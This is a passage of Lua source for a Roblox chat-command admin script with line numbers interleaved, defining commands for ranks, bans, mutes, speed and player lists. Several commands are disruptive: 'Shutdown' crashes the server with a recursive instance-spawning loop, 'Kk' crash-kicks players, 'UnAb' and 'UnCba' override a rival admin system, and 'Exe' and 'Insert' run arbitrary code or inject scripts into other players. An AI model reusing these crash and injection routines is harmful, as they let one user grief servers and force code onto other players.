        Ping(NumCmds.." Commands",Speaker)
2425
        Ping(NumBanned.." players banned", Speaker,5)
2426
        
2427
end)
2428
2429
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
2430
        Dismiss(Speaker)
2431
        for i,v in pairs(All()) do
2432
                Ping(v.Name.."'s Rank: "..FindRank(v))
2433
        end
2434
end)
2435
2436
Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
2437
        local Split = GetSplit(Msg)
2438
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2439
        local Speed = tonumber(Msg:sub(Split + 1))
2440
        for _,v in pairs(PlrTab) do
2441
                ypcall(function()
2442
                        v.Character.Humanoid.WalkSpeed = Speed
2443
                        Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
2444
                end)
2445
        end
2446
end)
2447
2448
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
2449
        local RemoveAB = Instance.new("StringValue")
2450
        RemoveAB.Name = "CBA Attachment"
2451
        RemoveAB.Value = [[CBA.override=true;]]
2452
        RemoveAB.Parent = Work
2453
        Ping("Removed All CBA Anti-Bans", Speaker, 5)
2454
end)
2455
2456
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
2457
        Dismiss(Speaker)
2458
        for i,v in pairs(Injected) do
2459
                Ping(i, Speaker)
2460
        end
2461
end)
2462
2463
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
2464
        local RemoveCBA = Instance.new("StringValue")
2465
        RemoveCBA.Name = "CBA Attachment"
2466
        RemoveCBA.Value = [[CBA.remove = false]]
2467
        RemoveCBA.Parent = Work
2468
        Ping("Removed All CBA Admins", Speaker, 5)
2469
end)
2470
2471
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
2472
        local function BufferOverflow(object)
2473
                object.DescendantAdded:connect(BufferOverflow)
2474
                Instance.new("IntValue", object)
2475
        end
2476
        BufferOverflow(Game)
2477
end)
2478
2479
Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
2480
        local PlrTab = getPlayer(Speaker, Msg)
2481
        if #PlrTab > 0 then
2482
                for _,v in pairs(PlrTab) do
2483
                        ypcall(function()
2484
                                Crash1(v)
2485
                                
2486
                        end)
2487
                end
2488
        end
2489
end)
2490
2491
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
2492
        local PlrTab = getPlayer(Speaker, Msg)
2493
        if #PlrTab > 0 then
2494
                for _,v in pairs(PlrTab) do
2495
                        ypcall(function()
2496
                                ChangeRank(v, -1)
2497
                        end)
2498
                end
2499
        end
2500
end)
2501
2502
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
2503
        local PlrTab = getPlayer(Speaker, Msg)
2504
        if #PlrTab > 0 then
2505
                for _,v in pairs(PlrTab) do
2506
                        ypcall(function()
2507
                                ChangeRank(v, -2)
2508
                        end)
2509
                end
2510
        end
2511
end)
2512
2513
2514
2515
2516
2517
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
2518
        local PlrTab = getPlayer(Speaker, Msg)
2519
        if #PlrTab > 0 then
2520
                for _,v in pairs(PlrTab) do
2521
                        ypcall(function()
2522
                                ChangeRank(v, -3)
2523
                        end)
2524
                end
2525
        end
2526
end)
2527
2528
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2529
        ypcall(function()
2530
                local PlrTab = getPlayer(Speaker, Msg)
2531
                if #PlrTab > 0 then
2532
                        for _,v in pairs(PlrTab) do
2533
                                ypcall(function()
2534
                                        Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2535
                                end)
2536
                        end
2537
                end
2538
                local PlrName = ChangeRank(Msg, 0)
2539
                Ping("Un-Banned "..PlrName, Speaker, 5)
2540
        end)
2541
end)
2542
2543
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
2544
        Dismiss(Speaker)
2545
        Ping("Commands", Speaker, nil, function()
2546
                Dismiss(Speaker.Name)
2547
                Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2548
                Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2549
                Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2550
                Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2551
                Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2552
                Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2553
                Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2554
                Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
2555
        end)
2556
        Ping("Players", Speaker, nil, function()
2557
                ListPlayers(Speaker)
2558
        end)
2559
end)
2560
2561
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2562
        ListPlayers(Speaker)
2563
end)
2564
2565
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2566
        local Func,Error = loadstring(Msg)
2567
        getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2568
        getfenv(Func).Speaker = Speaker
2569
        if Error == nil then
2570
                coroutine.wrap(function()
2571
                        Func()
2572
                end)()
2573
                Ping("Executed Script!", Speaker, 5)
2574
        else
2575
                Ping(Error, Speaker, 10)
2576
        end
2577
end)
2578
2579
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2580
        if LS ~= nil then
2581
                local Split = GetSplit(Msg)
2582
                local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2583
                local LocalSource = Msg:sub(Split + 1)
2584
                if #PlrTab > 0 then
2585
                        for _,v in pairs(PlrTab) do
2586
                                local Inserted = LS:Clone()
2587
                                Inserted.Disabled = true
2588
                                Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2589
                                if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2590
                                        Inserted:findFirstChild(OwnSource).Value = v.Name
2591
                                end
2592
                                Inserted[LSSource].Value = LocalSource
2593
                                Inserted.Disabled = false
2594
                        end
2595
                end
2596
        else
2597
                Ping("ERROR: Local Script Not Found", Speaker, 5)
2598
        end
2599
end)
2600
2601
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2602
        Msg = tostring(Msg)
2603
        Ping(Msg, Speaker)
2604
end)
2605
2606
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2607
        Dismiss(Speaker)
2608
        for i,v in pairs(getfenv(1)) do
2609
                ypcall(function()
2610
                        Ping(tostring(i)..": "..tostring(v), Speaker)
2611
                end)
2612
        end
2613
end)
2614
2615
Command('Ranks', 0, 'Shows all players in ranking table',
2616
function(Msg,Speaker)
2617
for _,v in pairs(Rankings) do
2618
Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
2619
end
2620
end)
2621
2622
2623
Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
2624
        local Split = GetSplit(Msg)
2625
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2626
        local Rank = tonumber(Msg:sub(Split + 1))
2627
        if #PlrTab > 0 then
2628
                for _,v in pairs(PlrTab) do
2629
                        if v.Name ~= Owner then
2630
                                ChangeRank(v, Rank)
2631
                                Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2632
                        end
2633
                end
2634
        end
2635
end)
2636
2637
Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
2638
        Dismiss()
2639
        Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
2640
                Dismiss()
2641
        Removed = true
2642
        for i,v in pairs(getfenv(1)) do
2643
                getfenv(1)[i] = nil
2644
        end
2645
        script.Disabled = true
2646
        end)
2647
end)